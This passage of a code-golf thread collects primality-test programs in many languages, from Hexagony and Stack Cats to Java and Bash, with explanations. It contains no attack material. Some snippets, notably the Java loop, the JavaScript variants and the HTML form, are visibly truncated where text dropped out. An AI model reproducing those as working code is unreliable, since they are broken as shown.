.\n-> . = & { . < . . .\n . . . . . > ( <\n . . . . . . .\n . . . . . .\n . . . . .\n```\nNow the loop body crosses the edges a few times, but most importantly, the actual computation is handed off to the previous IP (which starts at the left corner, moving north east):\n```\n ) . . . .\n = . . . ] .\n } = . . } . .\n ~ . / . * . . .\n . . . . . . . . .\n . . . = . > ( <\n . . } . = . .\n . & . \\ [ .\n . . . . .\n```\nAfter bouncing off the branch towards south east, the IP wraps around the edge to the two `=` in the top left corner (which, together, are a no-op), then bounces off the `/`. The `~` inverts the sign of the current value, which is important for subsequent iterations. The IP wraps around the same edge again and finally hits `[` where control is handed over to the other IP.\nThis one now executes `~}=)&}=*}` which undoes the negation and then just runs the ungolfed loop body (minus the `=`). Finally it hits `]` which hands control back to the original IP. (Note that next time, we execute it this IP, it will start from where it left off, so it will first hit the corner. We need the current value to be negative in order for the IP to jump back to the north west edge instead of the south east one.)\nOnce the original IP resumes control, it bounces off the `\\`, executes the remaining `=` and then hits `>` to feed into the next loop iteration.\nNow the really crazy part: what happens when the loop terminates?\n```\n ) . . . .\n . ( . . ] =\n . . ' . } . }\n . . . % * . . &\n . . . . . . . . .\n . . . = | . . <\n . . } ! . . .\n . & @ . . .\n . . . . .\n```\nThe IP moves north east form the `<` and wraps around to the north east diagonal. So it ends up on the same execution path as the loop body (`&}=*}]`). Which is actually pretty cool, because that is exactly the code we want to execute at this point, at least if we add another `=}` (because `}=}` is equivalent to `{`). But how does this not actually enter the earlier loop again? Because `]` changes to the next IP which is now the (so far unused) IP which starts in the top right corner, moving south west. From there, the IP continues along the edge, wraps to the top left corner, moves down the diagonal, bounces off the `|` and terminates at `@` while executing the final bit of linear code:\n```\n=}&)('%!@\n```\n(The `)(` is a no-op of course - I had to add the `(` because the `)` was already there.)\nPhew... what a mess...\n[Answer]\n# Pyth, 4 bytes\n```\n}QPQ\n```\nPrints `True` or `False`.\n[Answer]\n## [Retina](https://github.com/m-ender/retina/wiki/The-Language), 16 bytes\n```\n^(?!(..+)\\1+$)..\n```\n[Try it online!](https://tio.run/##K0otycxLNPyvqpGgp82l9T9Ow15RQ09PWzPGUFtFU0/v/39DLiMuYy4TLlMuMy5zLgsuSy5DAy5DQwA \"Retina – Try It Online\")\nLet's start with a classic: [detecting primes with a regex](https://stackoverflow.com/q/2795065/1633117). Input should be given in *unary*, using any repeated printable character. The test suite includes a conversion from decimal to unary for convenience.\nA Retina program consisting of a single line treats that line as a regex and prints the number of matches found in the input, which will be `0` for composite numbers and `1` for primes.\nThe lookahead ensures that the input is not composite: backtracking will try every possible substring (of at least 2 characters) for `(..+)`, the lookahead then attempts to match the rest of the input by repeating what was captured here. If this is possible, that means the input has a divisor greater than 1, but which is less than itself. If that is the case the *negative* lookahead causes the match to fail. For primes there is no such possibility, and the match continues.\nThe only issue is that this lookahead also accepts `1`, so we rule that out by matching at least two characters with `..`.\n[Answer]\n# HTML+CSS, 254+nmax\\*28 bytes\nWe can check primality using regular expressions. Mozilla has `@document`, which is defined as:\n```\n@document [ | url-prefix() | domain() | regexp() ]# {\n \n}\n```\nTo filter elements via CSS based on the current URL. This is a single pass, so we have to do two steps:\n1. Get input from the user. This input must somehow be reflected in the current URL.\n2. Reply to the user in as little code as possible.\n**1. Getting Input**\nThe shortest way I can figure to get input and transfer that to the URL is a `GET` form with checkboxes. For the regex, we just need some unique string to count appearances.\nSo we start with this (61 bytes):\n```\n

1

0

\n```\nWe got two unique `

`s to indicate whether the entered number is a prime (1) or not (0). We also define the form and it's action.\nFollowed by nmax checkboxes with the same name (nmax\\*28 bytes):\n```\n\n```\nFollowed by the submit element (34 bytes):\n```\n\n```\n**2. Display Answer**\nWe need the CSS (159 bytes) to select the `

` to display (1 or 0):\n```\n#q,#s,#q:target{display:none}#q:target{display:block}@-moz-document regexp(\".*\\\\?((i=on&)?|(((i=on&)(i=on&)+?)\\\\4+))d=d#q$\"){#s{display:block}#r{display:none}}\n```\n---\n## [» Try it at codepen.io (firefox only)](https://codepen.io/turbodev/pen/YWJoJr)\n![](https://i.stack.imgur.com/pRKzA.png)\n[Answer]\n# [Hexagony](https://github.com/m-ender/hexagony), 28 bytes\nSince [Etoplay](https://codegolf.stackexchange.com/users/45161/etoplay) absolutely trounced me on [this question](https://codegolf.stackexchange.com/a/143928/71256), I felt that I had to outgolf his only other [answer](https://codegolf.stackexchange.com/a/58347/71256).\n```\n?\\.\">\"!*+{&'=<\\%(><.*.'(@>'/\n```\n[Try it online!](https://tio.run/##y0itSEzPz6v8/98@Rk/JTklRS7taTd3WJkZVw85GT0tPXcPBTl3//39DA0MA \"Hexagony – Try It Online\")\nI use Wilson's Theorem, like Martin did in his [answer](https://codegolf.stackexchange.com/a/57706/71256): Given `n`, I output `(n-1!)² mod n`\nHere it the program unfolded:\n```\n ? \\ . \"\n > \" ! * +\n { & ' = < \\\n% ( > < . * .\n ' ( @ > ' /\n . . . . .\n . . . .\n```\nAnd here is the *readable* version:\n[![Very readable](https://i.stack.imgur.com/atuRJ.png)](https://i.stack.imgur.com/atuRJ.png)\n### Explanation:\nThe program has three main steps: **Initialisation**, **Factorial** and **Output**.\nHexagony's memory model is an infinite hexagonal grid. I am using 5 memory locations, as shown in this diagram:\n[![Memory](https://i.stack.imgur.com/sDrUa.png)](https://i.stack.imgur.com/sDrUa.png)\nI will be referring to these locations (and the Integers stored in them) by their labels on that diagram.\n### Initialisation:\n[![Initialisation](https://i.stack.imgur.com/Lm5h7.png)](https://i.stack.imgur.com/Lm5h7.png)\nThe instruction pointer (**IP**) starts at the top left corner, going East. The memory pointer (**MP**) starts at **IN**.\nFirst, `?` reads the number from input and stores it in **IN**. The **IP** stays on the blue path, reflected by `\\`. The sequence `\"&(` moves the **MP** back and to the left (to **A**), copies the value from **IN** to **A** and decrements it.\nThe **IP** then exits one side of the hexagon and re-enters the other side (onto the green path). It executes `'+` which moves the **MP** to **B** and copies what was in **A**. `<` redirects the **IP** to West.\n### Factorial:\nI compute the factorial in a specific way, so that squaring it is easy. I store `n-1!` in both **B** and **C** as follows.\n[![Factorial](https://i.stack.imgur.com/Z6Eun.png)](https://i.stack.imgur.com/Z6Eun.png)\nThe instruction pointer starts on the blue path, heading East.\n`='` reverses the direction of the **MP** and moves it backwards to **C**. This is equivalent to `{=` but having the `=` where it is was helpful later.\n`&{` copies the value from **A** to **C**, then moves the **MP** back to **A**. The **IP** then follows the green path, doing nothing, before reaching the red path, hitting `\\` and going onto the orange path.\nWith `(>`, we decrement **A** and redirect the **IP** East. Here it hits a branch: `<`. For positive **A**, we continue along the orange path. Otherwise the **IP** gets directed North-East.\n`'*` moves the **MP** to **B** and stores **A** \\* **C** in **B**. This is `(n-1)*(n-2)` where the initial input was `n`. The **IP** then enters back into the initial loop and continues decrementing and multiplying until **A** reaches `0`. (computing `n-1!`)\n**N.B**: On following loops, `&` stores the value from **B** in **C**, as **C** has a positive value stored in it now. This is crucial to computing factorial.\n### Output:\n[![Output](https://i.stack.imgur.com/frdsq.png)](https://i.stack.imgur.com/frdsq.png)\nWhen **A** reaches `0`. The branch directs the **IP** along the blue path instead.\n`=*` reverses the **MP** and stores the value of **B** \\* **C** in **A**. Then the **IP** exits the hexagon and re-enters on the green path; executing `\"%`. This moves the **MP** to **OUT** and calculates **A** mod **IN**, or `(n-1!)² mod n`.\nThe following `{\"` acts as a no-op, as they cancel each-other out. `!` prints the final output and `*+'(` are executed before termination: `@`.\nAfter execution, (with an input of `5`) the memory looks like this:\n[![Memory2](https://i.stack.imgur.com/VLqWL.png)](https://i.stack.imgur.com/VLqWL.png)\nThe beautiful images of the control flow were made using [Timwi's](https://codegolf.stackexchange.com/users/668/timwi) [Hexagony Coloror](https://github.com/Timwi/HexagonyColorer).\nThank you to [Martin Ender](https://codegolf.stackexchange.com/users/8478/martin-ender) for generating all of the images, as I couldn't do it on my PC.\n[Answer]\n## CJam, 4 bytes\n```\nqimp\n```\nCJam has a built-in operator for primality testing.\n[Answer]\n# [Help, WarDoq!](http://esolangs.org/wiki/Help,_WarDoq!), 1 byte\n```\nP\n```\nOutputs 1 if the input is prime, 0 otherwise.\n[Answer]\n# [Mornington Crescent](https://esolangs.org/wiki/Mornington_Crescent), 2448 bytes\n[We're back](https://codegolf.stackexchange.com/a/57064/8478) in London!\n```\nTake Northern Line to Bank\nTake Circle Line to Bank\nTake District Line to Parsons Green\nTake District Line to Bank\nTake Circle Line to Hammersmith\nTake District Line to Upney\nTake District Line to Hammersmith\nTake Circle Line to Victoria\nTake Victoria Line to Seven Sisters\nTake Victoria Line to Victoria\nTake Circle Line to Victoria\nTake Circle Line to Bank\nTake Circle Line to Hammersmith\nTake Circle Line to Cannon Street\nTake Circle Line to Hammersmith\nTake Circle Line to Cannon Street\nTake Circle Line to Bank\nTake Circle Line to Hammersmith\nTake Circle Line to Aldgate\nTake Circle Line to Aldgate\nTake Metropolitan Line to Chalfont & Latimer\nTake Metropolitan Line to Aldgate\nTake Circle Line to Hammersmith\nTake District Line to Upminster\nTake District Line to Hammersmith\nTake Circle Line to Notting Hill Gate\nTake Circle Line to Hammersmith\nTake Circle Line to Notting Hill Gate\nTake District Line to Upminster\nTake District Line to Bank\nTake Circle Line to Victoria\nTake Circle Line to Temple\nTake Circle Line to Aldgate\nTake Circle Line to Aldgate\nTake Metropolitan Line to Chalfont & Latimer\nTake Metropolitan Line to Pinner\nTake Metropolitan Line to Chalfont & Latimer\nTake Metropolitan Line to Pinner\nTake Metropolitan Line to Chalfont & Latimer\nTake Metropolitan Line to Pinner\nTake Metropolitan Line to Aldgate\nTake Circle Line to Hammersmith\nTake District Line to Upminster\nTake District Line to Victoria\nTake Circle Line to Aldgate\nTake Circle Line to Victoria\nTake Circle Line to Victoria\nTake District Line to Upminster\nTake District Line to Embankment\nTake Circle Line to Embankment\nTake Northern Line to Angel\nTake Northern Line to Moorgate\nTake Metropolitan Line to Chalfont & Latimer\nTake Metropolitan Line to Aldgate\nTake Circle Line to Aldgate\nTake Circle Line to Cannon Street\nTake District Line to Upney\nTake District Line to Cannon Street\nTake District Line to Acton Town\nTake District Line to Acton Town\nTake Piccadilly Line to Russell Square\nTake Piccadilly Line to Hammersmith\nTake Piccadilly Line to Russell Square\nTake Piccadilly Line to Ruislip\nTake Piccadilly Line to Ruislip\nTake Metropolitan Line to Preston Road\nTake Metropolitan Line to Aldgate\nTake Circle Line to Aldgate\nTake Circle Line to Cannon Street\nTake Circle Line to Aldgate\nTake Circle Line to Aldgate\nTake Metropolitan Line to Preston Road\nTake Metropolitan Line to Moorgate\nTake Circle Line to Moorgate\nTake Northern Line to Mornington Crescent\n```\nTimwi was so kind to implement the control flow stations `Temple` and `Angel` in [Esoteric IDE](https://github.com/Timwi/EsotericIDE/) as well as add input and integer parsing to the language specification.\nThis one is probably better golfed than the \"Hello, World!\", because this time I wrote a CJam script to help me find the shortest path between any two stations. If you want to use it (although I don't know why anyone would want to...), you can use [the online interpreter](http://cjam.aditsu.net/). Paste this code:\n```\n\"Mornington Crescent\"\n\"Cannon Street\"\n]qN/{'[/0=,}$:Q;{Q{1$#!}=\\;_oNo'[/1>{']/0=\"[]\"\\*}%}%:R;NoQ{R\\f{f{\\#)}:+}:*},N*\n```\nHere the first two lines are the stations you want to check. Also, paste the contents of [this pastebin](http://pastebin.com/raw.php?i=CMbQxrpS) into the input window.\nThe output will show you which lines are available at the two stations, and then a list of all stations which connect the two, sorted by the length of the station names. It shows all of them, because sometimes it's better to use a longer name, either because it allows a shorter line, or because the station is special (like Bank or Temple) so that you want to avoid it. There are some edge cases where two stations aren't connected by any single other station (notably, the Metropolitan and District lines never cross), in which case you'll have to figure out something else. ;)\nAs for the actual MC code, it's based on the squared-factorial approach as many other answers because MC has multiplication, division and modulo. Also, I figured that a single loop would be convenient.\nOne issue is that the loops are do-while loops, and decrementing and incrementing is expensive, so I can't easily compute `(n-1)!` (for `n > 0`). Instead, I'm computing `n!` and then divide by `n` at the end. I'm sure there is a better solution for this.\nWhen I started writing this, I figured that storing `-1` in Hammersmith would be a good idea so I can decrement more cheaply, but in the end this may have cost more than it saved. If I find the patience to redo this, I might try just keeping a `-1` around in Upminster instead so I can use Hammersmith for something more useful.\n[Answer]\n# Haskell, 49 bytes\nUsing [*xnor's Corollary to Wilson's Theorem*](https://codegolf.stackexchange.com/a/27022/21487):\n```\nmain=do n<-readLn;print$mod(product[1..n-1]^2)n>0\n```\n[Answer]\n# [Brachylog](https://github.com/JCumin/Brachylog) (V2), 1 byte\n```\nṗ\n```\n[Try it online!](https://tio.run/nexus/brachylog2#@/9w5/T//w2N/wMA \"Brachylog – TIO Nexus\")\n# [Brachylog](https://github.com/JCumin/Brachylog) (V1), 2 bytes\n[```\n#p\n```](http://brachylog.tryitonline.net/#code=I3A&input=MTAx)\nThis uses the built-in predicate `#p - Prime`, which constrains its input to be a prime number.\nBrachylog is my attempt at making a Code Golf version of Prolog, that is a declarative code golf language that uses backtracking and unification.\n### Alternate solution with no built-in: 14 bytes\n```\nybbrb'(e:?r%0)\n```\nHere is a breakdown of the code above:\n```\ny The list [0, …, Input]\nbbrb The list [2, …, Input - 1]\n'( True if what's in the parentheses cannot be proven; else false\n e Take an element from the list [2, …, Input - 1]\n :?r%0 The remainder of the division of the Input but that element is 0\n)\n```\n[Answer]\n# [Labyrinth](http://esolangs.org/wiki/Labyrinth), 29 bytes\n```\n1\n?\n:\n} +{%!@\n(:'(\n } {\n :**\n```\nReads an integer from STDIN and outputs `((n-1)!)^2 mod n`. [Wilson's theorem](https://en.wikipedia.org/wiki/Wilson%27s_theorem) is pretty useful for this challenge.\nThe program starts at the top-left corner, beginning with `1` which multiplies the top of the stack by 10 and adds 1. This is Labyrinth's way of building large numbers, but since Labyrinth's stacks are filled with zeroes, the end effect is as though we just pushed a 1.\n`?` then reads `n` from STDIN and `:` duplicates it. `}` shifts `n` to the auxiliary stack, to be used at the end for the modulo. `(` then decrements `n`, and we are ready to begin calculating the squared factorial.\nOur second `:` (duplicate) is at a junction, and here Labyrinth's control flow features come into play. At a junction after an instruction is executed, if the top of the stack is positive we turn right, for negative we turn left and for zero we go straight ahead. If you try to turn but hit a wall, Labyrinth makes you turn in the other direction instead.\nFor `n = 1`, since the top of the stack is `n` decremented, or `0`, we go straight ahead. We then hit a no-op `'` followed by another decrement `(` which puts us at `-1`. This is negative, so we turn left, executing `+` plus (`-1 + 0 = -1`), `{` to shift `n` back from the auxiliary stack to the main and `%` modulo (`-1 % 1 = 0`). Then we output with `!` and terminate with `@`.\nFor `n > 1`, at the second `:` we turn right. We then shift `}` our copied loop counter to the auxiliary stack, duplicate `:` and multiply twice `**`, before shifting the counter back `{` and decrementing `(`. If we're still positive we try to turn right but can't, so Labyrinth makes us turn left instead, continuing the loop. Otherwise, the top of the stack is our loop counter which has been reduced to 0, which we `+` add to our calculated `((n-1)!)^2`. Finally, we shift `n` back with `{` then modulo `%`, output `!` and terminate `@`.\nI said that `'` is a no-op, but it can also be used for debugging. Run with the `-d` flag to see the state of the stack every time the `'` is passed over!\n[Answer]\n# Bash + GNU utilities, 16\n* 4 bytes saved thanks to @Dennis\n* 2 bytes saved thanks to @Lekensteyn\n```\nfactor|awk NF==2\n```\nInput is one line taken from STDIN. Output is empty string for falsey and non-empty string for truthy. E.g.:\n```\n$ ./pr.sh <<< 1\n$ ./pr.sh <<< 2\n2: 2\n$ ./pr.sh <<< 3\n3: 3\n$ ./pr.sh <<< 4\n$\n```\n[Answer]\n# Java, ~~126~~ 121 bytes\nI guess we need a Java answer for the scoreboard... so here's a simple trial division loop:\n```\nclass P{public static void main(String[]a){int i=2,n=Short.valueOf(a[0]);for(;i1);}}\n```\nAs usual for Java, the \"full program\" requirement makes this much larger than it would be if it were a function, due mostly to the `main` signature.\nIn expanded form:\n```\nclass P{\n public static void main(String[]a){\n int i=2,n=Short.valueOf(a[0]);\n for(;i1);\n }\n}\n```\n**Edit:** Fixed and regolfed by Peter in comments. Thanks!\n[Answer]\n## JavaScript, ~~39~~ 36 bytes\nSaved 3 bytes thanks to ETHproductions:\n```\nfor(i=n=prompt();n%--i;);alert(1==i)\n```\nDisplays true for a prime, false otherwise.\nThe *for* loop tests every number *i* from *n-1* until *i* is a divisor.\nIf the first divisor found is *1* then it's a prime number.\n---\n**Previous solution (39 bytes):**\n```\nfor(i=n=prompt();n%--i&&i;);alert(1==i)\n```\nHow was left an unneeded test:\n```\nfor(i=2,n=prompt();n%i>0&&i*i0) //49: Simple implementation: loop from 2 to sqrt(n) to test the modulo.\nfor(i=2,n=prompt();n%i>0&&i0 by n==i\nfor(i=2,n=prompt();n%i&&i0 by n%i\nfor(i=2,n=prompt();n%i&&i++0;);alert(1==i) //41: Loop from n to 1. Better variable initialization.\nfor(i=n=prompt();n%--i&&i;);alert(1==i) //39: \\o/ Replace i>0 by i\n```\nI only posted the 39 bytes solution because the best JavaScript answer was already 40 bytes.\n[Answer]\n# R, ~~37~~ 29 bytes\n```\nn=scan();cat(sum(!n%%1:n)==2)\n```\nUses trial division. `scan()` reads an integer from STDIN and `cat()` writes to STDOUT.\nWe generate a vector of length `n` consisting of the integers 1 to `n` modulo `n`. We test whether each is 0 by negating (`!`), which returns a logical value that's true when the number is 0 and false when it's greater than 0. The sum of a logical vector is the number of true elements, and for prime numbers we expect the only nonzero moduli to be 1 and `n`, thus we expect the sum to be 2.\nSaved 8 bytes thanks to flodel!\n[Answer]\n## [Stack Cats](https://github.com/m-ender/stackcats), 62 + 4 = 66 bytes\n```\n*(>:^]*(*>{<-!<:^>[:((-<)<(>-_)_<<]>:]<]]}*<)]*(:)*=<*)>]\n```\nNeeds to be run with the `-ln` command-line flags (hence +4 bytes). Prints `0` for composite numbers and `1` for primes.\n[Try it online!](http://stackcats.tryitonline.net/#code=Kig-Ol5dKigqPns8LSE8Ol4-WzooKC08KTwoPCEtKT4-LV8pXzw8XT46XTxdXX0qPCldKig6KSo9PCopPl0&input=MTA3&args=LWxu)\nI think this is the first non-trivial Stack Cats program.\n### Explanation\nA quick Stack Cats introduction:\n* Stack Cats operates on an infinite tape of stacks, with a tape head pointing at a current stack. Every stack is initially filled with an infinite amount of zeros. I will generally ignore these zeros in my wording, so when I say \"the bottom of stack\" I mean the lowest non-zero value and if I say \"the stack is empty\" I mean there's only zeros on it.\n* Before the program starts, a `-1` is pushed onto the initial stack, and then the entire input is pushed on top of that. In this case, due to the `-n` flag, the input is read as a decimal integer.\n* At the end of the program, the current stack is used for output. If there's a `-1` at the bottom, it will be ignored. Again, due to the `-n` flag, the values from the stack are simply printed as linefeed-separated decimal integers.\n* Stack Cats is a reversible program language: every piece of code can be undone (without Stack Cats keeping track of an explicit history). More specifically, to reverse any piece of code, you simply mirror it, e.g. `<<(\\-_)` becomes `(_-/)>>`. This design goal places fairly severe restrictions on what kinds of operators and control flow constructs exist in the language, and what sorts of functions you can compute on the global memory state.\n* To top it all off, every Stack Cats program has to be self-symmetric. You might notice that this is not the case for the above source code. This is what the `-l` flag is for: it implicitly mirrors the code to the left, using the first character for the centre. Hence the actual program is:\n```\n[<(*>=*(:)*[(>*{[[>[:<[>>_(_-<<(-!>)>(>-)):]<^:>!->}<*)*[^:<)*(>:^]*(*>{<-!<:^>[:((-<)<(>-_)_<<]>:]<]]}*<)]*(:)*=<*)>]\n```\nProgramming effectively with the entire code is highly non-trivial and unintuitive and haven't really figured out yet how a human can possibly do it. [We've brute forced such program](https://codegolf.stackexchange.com/a/82985/8478) for simpler tasks, but wouldn't have been able to get anywhere near that by hand. Luckily, we've found a basic pattern which allows you to ignore one half of the program. While this is certainly suboptimal, it's currently the only known way to program effectively in Stack Cats.\nSo in this answer, the template of said pattern is this (there's some variability in how it's executed):\n```\n[<(...)*(...)>]\n```\nWhen the program starts, the stack tape looks like this (for input `4`, say):\n```\n 4 \n... -1 ...\n 0\n ^\n```\nThe `[` moves the top of the stack to the left (and the tape head along) - we call this \"pushing\". And the `<` moves the tape head alone. So after the first two commands, we've got this situation:\n```\n... 4 -1 ...\n 0 0 0\n ^\n```\nNow the `(...)` is a loop which can be used quite easily as a conditional: the loop is entered and left only when the top of the current stack is positive. Since, it's currently zero, we skip the entire first half of the program. Now the centre command is `*`. This is simply `XOR 1`, i.e. it toggles the least significant bit of the top of the stack, and in this case turns the `0` into a `1`:\n```\n... 1 4 -1 ...\n 0 0 0\n ^\n```\nNow we encounter the mirror image of the `(...)`. This time the top of the stack is positive and we *do* enter the code. Before we look into what goes on inside the parentheses, let me explain how we'll wrap up at the end: we want to ensure that at the end of this block, we have the tape head on a positive value again (so that the loop terminates after a single iteration and is used simply as a linear conditional), that the stack to the right holds the output and that the stack right of *that* holds a `-1`. If that's the case, we do leave the loop, `>` moves onto the output value and `]` pushes it onto the `-1` so we have a clean stack for output.\nThat's that. Now inside the parentheses we can do whatever we want to check the primality as long as we ensure that we set things up as described in the previous paragraph at the end (which can easily done with some pushing and tape head moving). I first tried solving the problem with [Wilson's theorem](https://en.wikipedia.org/wiki/Wilson's_theorem) but ended up well over 100 bytes, because the squared factorial computation is actually quite expensive in Stack Cats (at least I haven't found a short way). So I went with trial division instead and that indeed turned out much simpler. Let's look at the first linear bit:\n```\n>:^]\n```\nYou've already seen two of those commands. In addition, `:` swaps the top two values of the current stack and `^` XORs the second value into the top value. This makes `:^` a common pattern to duplicate a value on an empty stack (we pull a zero on top of the value and then turn the zero into `0 XOR x = x`). So after this, section our tape looks like this:\n```\n 4 \n... 1 4 -1 ...\n 0 0 0\n ^\n```\nThe trial division algorithm I've implemented doesn't work for input `1`, so we should skip the code in that case. We can easily map `1` to `0` and everything else to positive values with `*`, so here's how we do that:\n```\n*(*...)\n```\nThat is we turn `1` into `0`, skip a big part of the code if we get indeed `0`, but inside we immediately undo the `*` so that we get our input value back. We just need to make sure again that we end on a positive value at the end of the parentheses so that they don't start looping. Inside the conditional, we move one stack right with the `>` and then start the main trial division loop:\n```\n{<-!<:^>[:((-<)<(>-_)_<<]>:]<]]}\n```\nBraces (as opposed to parentheses) define a different kind of loop: it's a do-while loop, meaning it always runs for at least one iteration. The other difference is the termination condition: when entering the loop Stack Cat remembers the top value of the current stack (`0` in our case). The loop will then run until this same value is seen again at the end of an iteration. This is convenient for us: in each iteration we simply compute the remainder of the next potential divisor and move it onto this stack we're starting the loop on. When we find a divisor, the remainder is `0` and the loop stops. We will try divisors starting at `n-1` and then decrement them down to `1`. That means a) we know this will terminate when we reach `1` at the latest and b) we can then determine whether the number is prime or not by inspecting the last divisor we tried (if it's `1`, it's a prime, otherwise it isn't).\nLet's get to it. There's a short linear section at the beginning:\n```\n<-!<:^>[:\n```\nYou know what most of those things do by now. The new commands are `-` and `!`. Stack Cats does not have increment or decrement operators. However it has `-` (negation, i.e. multiply by `-1`) and `!` (bitwise NOT, i.e. multiply by `-1` and decrement). These can be combined into either an increment, `!-`, or decrement `-!`. So we decrement the copy of `n` on top of the `-1`, then make another copy of `n` on the stack to the left, then fetch the new trial divisor and put it beneath `n`. So on the first iteration, we get this:\n```\n 4 \n 3 \n... 1 4 -1 ...\n 0 0 0\n ^\n```\nOn further iterations, the `3` will replaced with the next test divisor and so on (whereas the two copies of `n` will always be the same value at this point).\n```\n((-<)<(>-_)\n```\nThis is the modulo computation. Since loops terminate on positive values, the idea is to start from `-n` and repeatedly add the trial divisor `d` to it until we get a positive value. Once we do, we subtract the result from `d` and this gives us the remainder. The tricky bit here is that we can't just have put a `-n` on top of the stack and start a loop that adds `d`: if the top of the stack is negative, the loop won't be entered. Such are the limitations of a reversible programming language.\nSo to circumvent this issue, we do start with `n` on top of the stack, but negate it only on the first iteration. Again, that sounds simpler than it turns out to be...\n```\n(-<)\n```\nWhen the top of the stack is positive (i.e. only on the first iteration), we negate it with `-`. However, we can't just do `(-)` because then we wouldn't be *leaving* the loop until `-` was applied twice. So we move one cell left with `<` because we know there's a positive value there (the `1`). Okay, so now we've reliably negated `n` on the first iteration. But we have a new problem: the tape head is now in a different position on the first iteration than in every other one. We need to consolidate this before we move on. The next `<` moves the tape head left. The situation on the first iteration:\n```\n -4 \n 3 \n... 1 4 -1 ...\n 0 0 0 0\n ^\n```\nAnd on the second iteration (remember we've added `d` once into `-n` now):\n```\n -1 \n 3 \n... 1 4 -1 ...\n 0 0 0\n ^\n```\nThe next conditional merges these paths again:\n```\n(>`. Then at the end of the modulo loop we do `-_`. You already know `-`. `_` is to subtraction what `^` is to XOR: if the top of the stack is `a` and the value underneath is `b` it replaces `a` with `b-a`. Since we first negated `a` though, `-_` replaces `a` with `b+a`, thereby adding `d` into our running total.\nAfter the loop ends (we've reached a positive) value, the tape looks like this:\n```\n 2 \n 3 \n... 1 1 4 -1 ...\n 0 0 0 0\n ^\n```\nThe left-most value could be any positive number. In fact, it's the number of iterations minus one. There's another short linear bit now:\n```\n_<<]>:]<]]\n```\nLike I said earlier we need to subtract the result from `d` to obtain the actual remainder (`3-2 = 1 = 4 % 3`), so we just do `_` once more. Next, we need to clean up the stack that we've been incrementing on the left: when we try the next divisor, it needs to be zero again, for the first iteration to work. So we move there and push that positive value onto the other helper stack with `<<]` and then move back onto our operational stack with another `>`. We pull up `d` with `:` and push it back onto the `-1` with `]` and then we move the remainder onto our conditional stack with `<]]`. That's the end of the trial division loop: this continues until we get a zero remainder, in which case the stack to the left contains `n`'s greatest divisor (other than `n`).\nAfter the loop ends, there's just `*<` before we join paths with the input `1` again. The `*` simply turns the zero into a `1`, which we'll need in a bit, and then we move to the divisor with `<` (so that we're on the same stack as for input `1`).\nAt this point it helps to compare three different kinds of inputs. First, the special case `n = 1` where we haven't done any of that trial division stuff:\n```\n 0 \n... 1 1 -1 ...\n 0 0 0\n ^\n```\nThen, our previous example `n = 4`, a composite number:\n```\n 2 \n 1 2 1 \n... 1 4 -1 1 ...\n 0 0 0 0\n ^\n```\nAnd finally, `n = 3`, a prime number:\n```\n 3 \n 1 1 1 \n... 1 3 -1 1 ...\n 0 0 0 0\n ^\n```\nSo for prime numbers, we have a `1` on this stack, and for composite numbers we either have a `0` or a positive number greater than `2`. We turn this situation into the `0` or `1` we need with the following final piece of code:\n```\n]*(:)*=<*\n```\n`]` just pushes this value to the right. Then `*` is used to simplify the conditional situation greatly: by toggling the least significant bit, we turn `1` (prime) into `0`, `0` (composite) into the positive value `1`, and all other positive values will still remain positive. Now we just need to distinguish between `0` and positive. That's where we use another `(:)`. If the top of the stack is `0` (and the input was a prime), this is simply skipped. But if the top of the stack is positive (and the input was a composite number) this swaps it with the `1`, so that we now have `0` for composite and `1` for primes - only two distinct values. Of course, they are the opposite of what we want to output, but that is easily fixed with another `*`.\nNow all that's left is to restore the pattern of stacks expected by our surrounding framework: tape head on a positive value, result on top of the stack to the right, and a single `-1` on the stack right of *that*. This is what `=<*` is for. `=` swaps the tops of the two adjacent stacks, thereby moving the `-1` to the right of the result, e.g. for input `4` again:\n```\n 2 0 \n 1 3 \n... 1 4 1 -1 ...\n 0 0 0 0 0\n ^\n```\nThen we just move left with `<` and turn that zero into a one with `*`. And that's that.\nIf you want to dig deeper into how the program works, you can make use of the debug options. Either add the `-d` flag and insert `\"` wherever you want to see the current memory state, [e.g. like this](http://stackcats.tryitonline.net/#code=Kig-Ol5dKigqPns8LSE8Ol4-WzooIigtPCk8KDwhLSk-Pi1fKV88PF0-Ol08XV19KjwpXSooOikqPTwqKT5d&input=NA&args=LWxuZA&debug=on), or use the `-D` flag [to get a complete trace of the entire program](http://stackcats.tryitonline.net/#code=Kig-Ol5dKigqPns8LSE8Ol4-WzooKC08KTwoPCEtKT4-LV8pXzw8XT46XTxdXX0qPCldKig6KSo9PCopPl0&input=Mw&args=LWxuRA&debug=on). Alternatively, you can use [Timwi's EsotericIDE](https://github.com/timwi/EsotericIDE) which includes a Stack Cats interpreter with a step-by-step debugger.\n[Answer]\n# [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), ~~112~~ 108 bytes\n```\n({}[()]){((({})())<>){{}<>(({}<(({}[()])()<>)>)<>)<>{({}[()]<({}[()]<({}())>)>{(<()>)}{})}{}{}}}<>{{}}([]{})\n```\n[Try it online!](http://brain-flak.tryitonline.net/#code=KHt9WygpXSl7KCgoe30pKCkpPD4pe3t9PD4oKHt9PCgoe31bKCldKSgpPD4pPik8Pik8Pnsoe31bKCldPCh7fVsoKV08KHt9KCkpPik-eyg8KCk-KX17fSl9e317fX19PD57e319KFtde30p&input=MjUx)\n## How it works\nInitially, the first stack will contain a positive integer **n**, the second stack will be empty.\nWe start by decrementing **n** as follows.\n```\n(\n {} Pop n.\n [()] Yield -1.\n) Push n - 1.\n```\n### n = 1\nIf **n = 1** is zero, the while loop\n```\n{\n ((({})())<>)\n {\n {}<>(({}<(({}[()])()<>)>)<>)<>{({}[()]<({}[()]<({}())>)>{(<()>)}{})}{}{}\n }\n}\n```\nis skipped entirely. Finally, the remaining code is executed.\n```\n<> Switch to the second stack (empty).\n{} Pop one of the infinite zeroes at the bottom.\n{<>} Switch stacks while the top on the active stack is non-zero. Does nothing.\n(\n [] Get the length of the active stack (0).\n {} Pop another zero.\n) Push 0 + 0 = 0.\n```\n**n > 1**\nIf **n - 1** is non-zero, we enter the loop that **n = 1** skips. It isn't a \"real\" loop; the code is only executed once. It achieves the following.\n```\n{ While the top of the active stack is non-zero:\n (\n (\n ({}) Pop and push n - 1.\n () Yield 1.\n ) Push n - 1 + 1 = n.\n <> Switch to the second stack. Yields 0.\n ) Push n + 0 = n.\n We now have n and k = n - 1 on the first stack, and n on\n the second one. The setup stage is complete and we start\n employing trial division to determine n's primality.\n { While the top of the second stack is non-zero:\n {} Pop n (first run) or the last modulus (subsequent runs),\n leaving the second stack empty.\n <> Switch to the first stack.\n (\n (\n {} Pop n from the first stack.\n <\n (\n (\n {} Pop k 